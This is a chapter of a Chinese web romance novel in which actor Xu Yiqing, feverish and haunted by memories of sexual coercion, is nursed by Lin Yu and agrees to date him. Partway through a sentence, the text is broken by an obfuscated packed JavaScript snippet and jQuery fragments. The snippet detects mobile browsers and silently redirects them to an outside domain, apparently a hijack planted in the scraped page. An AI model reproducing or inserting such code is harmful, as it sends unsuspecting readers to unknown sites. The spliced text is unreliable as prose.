耳边似乎又响起那道邪恶的笑声,冰凉的手指攥住他的喉管,“怎么玩得由我说了算……” 耸动的身影带来绵延的疼痛,肆虐的双手蛇一般游走,“跟我吧许亦清,嗯?我的人我就舍不得这么玩了……” 现实里许亦清咬紧牙关一声没吭,直到对方心满意足地结束这场酷刑。 可梦境令人心防松懈,他辗转反侧、软弱呻吟,一只手轻拍着他的面颊,“醒醒,亦哥,你做噩梦了?” 到底是睡沙发,林钰睡得并不深,半隔断的轻质墙没有任何隔音效果,他光着脚,几步冲到床前,被褥里是一张潮红的脸庞,散乱的头发、迷蒙睁开的双眼。 林钰伸手探向他额头:“你发烧了,清清,”转身翻抽屉,“温度计在哪?” 许亦清没听见他的声音,双眼失焦般望向虚空,双臂抱着肩膀,蜷缩成一团,喃喃地低语:“冷……好冷……” 他从顾明钧的别墅走出来就穿了件衬衫,金城十一月的寒风刮进了骨头里。 林钰不假思索地掀开被子,将人搂着,这会倒没什么绮思遐想,喜欢的人喊饿就要给他吃的,喊渴就要给他喂水,喊冷当然是要将他抱紧。 许亦清在他怀里软成一团,混乱的思绪四散开来,渐渐飞到了七年前的寒冬——那是他和顾明钧来到金城后最冷的一个冬天。 破旧出租屋暖气管老化,必须另外烧炉子,可每次收工回家,屋子里总是冷冰冰的,顾明钧要么不在,要么醉倒在床上。 跟新悦的副导演打了那一架之后,他几乎接不到什么戏了,原本混上了特约,在那之后连龙套都跑不上。区区一个副导演,现在看来真不是什么只手遮天的大人物,但在当时,要摁死一个非科班出身、在金城没有任何人脉背景的小演员真是易如反掌。 如果没有……周擎,就没有后来靠一部警匪片一炮而红的顾明钧。许亦清为此付出的代价,令他在多年后的深夜也会从噩梦中惊醒。 他从不后悔当时的选择,可这成了他永远都不能说的秘密,骄傲如顾明钧,如果知道真相—— 许亦清打了个寒颤,闭上双眼,趋向身旁的暖源,低声地祈求:“抱紧我吧抱紧我……” 他昏昏沉沉地睡去,迷糊中一双温热的大手不停忙碌:一会替他擦汗,一会给他换了睡衣,额上的冷毛巾换了又换……在许亦清的记忆深处,只有顾明钧曾这样照料过他,他伸手捞住一只手掌,贴在脸颊一侧,满足地叹息:“明钧……” 脸颊上似乎被掐了一记,他不满地呢喃,意识逐渐陷入昏沉。 等到再次清醒,窗外已经天光大亮。他转过头,枕畔躺着个人,隔他半尺,一张脸枕在自己手肘上。 不是顾明钧,是林钰。英俊的面庞沐浴在晨光里,光线穿过窗帘镀印在他金棕色的头发上。《霸爱》一杀青,他便迫不及待染了新发色,像是被阳光点燃的火焰。 这是个年轻、帅气、充满朝气的男人。没有经历过那些龌龊不堪,大概也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487724|185710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有那些千回百转。他可以肆意追逐他想要的,也可以潇洒丢掉那些不合时宜的。 许亦清突然就释然了,跟这样的男人谈一段,怎么看都是他赚了。 他摸了摸额头,撕掉退热贴,撑肘坐起来,端过床头的保温杯喝水。 林钰被动静吵醒,伸胳膊先探他额头:“好像退烧了。” 许亦清看着他那双狐狸眼,轻咳一声——“林钰,咱俩试试吧。” “试试?”林钰有些茫然,又惊喜地睁大眼,“真的?”转而又有些为难地蹙眉,“可是你感冒了……”他颇感遗憾地咂吧着嘴,“等你感冒好了我再给你试。” 短短两秒钟,四种表情在他脸上切换。许亦清抬脚把他踹下床,“试你妈个头!”他忍不住爆粗口。 林钰光溜溜地坐地板上哈哈大笑:“哈哈哈哈哈我逗你的亦哥。” 许亦清上下瞄一眼,结结实实闹了个大红脸,“你、你睡觉怎么不穿衣服?!” “谁睡觉穿衣服啊?”林钰起身翻出浴巾裹上,冲他龇牙咧嘴地做鬼脸,“你以为都跟你一样,睡衣穿整套,扣子还得全扣上啊?” 得,还没开始试,代沟就来了,许亦清有些泄气:“要不还是算了吧?” “那可不行!”林钰一个飞身扑到床上,伸胳膊搂着他,“亦哥,说好的事你可不能反悔!” 精诚所至,金石为开,林钰迫不及待想要品尝胜利的果实。一双狐狸眼攫着许亦清,嘴唇微微地嘟起—— “亦哥,我可以叫你清清吗?” “你可以把我的微信置顶吗?” “我可以吻你吗?” 问完也不等回答,便笑嘻嘻地凑近,许亦清有些不自然地闭上眼睛。这个时候叫人去刷牙显然有点煞风景,此时彼此的气味没有经过任何修饰,据说如果你能够接受一个人本身的味道,那么大概率可以接受他的所有。 许亦清微微松了口气:比较纯净的、还带了点男生味道的气息——像阳光晒过的棉T恤。而且不可否认,林钰的吻技实在称得上高明。 据说舌头是全身末梢神经最密集的器官之一,每一次舌吻都像一次快速的“化学面试”——百万条末梢神经和嗅觉受体将对方免疫气味、生殖激素、口腔菌群等粗粒度信息汇总成“直觉”,帮助大脑判断要不要继续投入。 拍戏的时候,亲吻是必不可少的戏码,但不管镜头里啃得多激烈,都会心照不宣地避免舌吻,因为那是更深层次的情感交流。 所以他跟林钰的第一场吻戏,这家伙上来就伸舌头,真的有吓到许亦清,不过他那天的表现也不够专业…… 但是今天——在获得允许之后,林钰开始肆无忌惮地展示高超技巧和蓬勃欲念,许亦清很快就被他吻得喘不上气来,后遗症开始出现:全身发软,不自觉地往被窝里倒。 一个温柔缠绵的吻,不仅能让人心潮澎湃、沉醉其中,还能迅速激发起人的性冲动。林钰显然比他更动情,勾着、缠着,一双手往他睡衣里头伸…… “叮铃、叮铃——”门铃声就在此刻响起。